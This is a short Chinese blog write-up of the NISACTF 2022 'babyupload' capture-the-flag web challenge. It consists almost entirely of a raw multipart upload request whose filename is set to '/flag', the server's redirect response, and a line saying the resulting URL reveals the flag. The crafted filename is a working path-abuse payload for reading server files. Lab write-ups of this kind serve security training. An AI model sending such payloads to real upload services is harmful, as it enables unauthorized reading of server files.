【CTF】[NISACTF 2022]babyupload

西原一点红

已于 2023-06-19 16:45:29 修改

阅读量192

点赞数

分类专栏： # CTF 文章标签： web安全

于 2023-06-19 16:43:21 首次发布

本文链接：https://blog.csdn.net/weixin_47055136/article/details/131290985

版权

CTF 专栏收录该内容

7 篇文章 0 订阅

订阅专栏

[NISACTF 2022]babyupload

play

POST /upload HTTP/1.1
Host: node3.anna.nssctf.cn:28406
Content-Length: 281
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node3.anna.nssctf.cn:28406
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykKvk8siwQSnAXAaN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node3.anna.nssctf.cn:28406/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarykKvk8siwQSnAXAaN
Content-Disposition: form-data; name="file"; filename="/flag"
Content-Type: image/jpeg

------WebKitFormBoundarykKvk8siwQSnAXAaN
Content-Disposition: form-data; name="submit"

Upload File
------WebKitFormBoundarykKvk8siwQSnAXAaN--

响应

HTTP/1.0 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 282
Location: http://node3.anna.nssctf.cn:28406/file/08a8b5023362406f9e619a43f4d3129e
Server: Werkzeug/2.0.3 Python/3.7.10
Date: Tue, 16 May 2023 06:16:03 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/file/08a8b5023362406f9e619a43f4d3129e">/file/08a8b5023362406f9e619a43f4d3129e</a>. If not click the link.

访问/file/08a8b5023362406f9e619a43f4d3129e 得到flag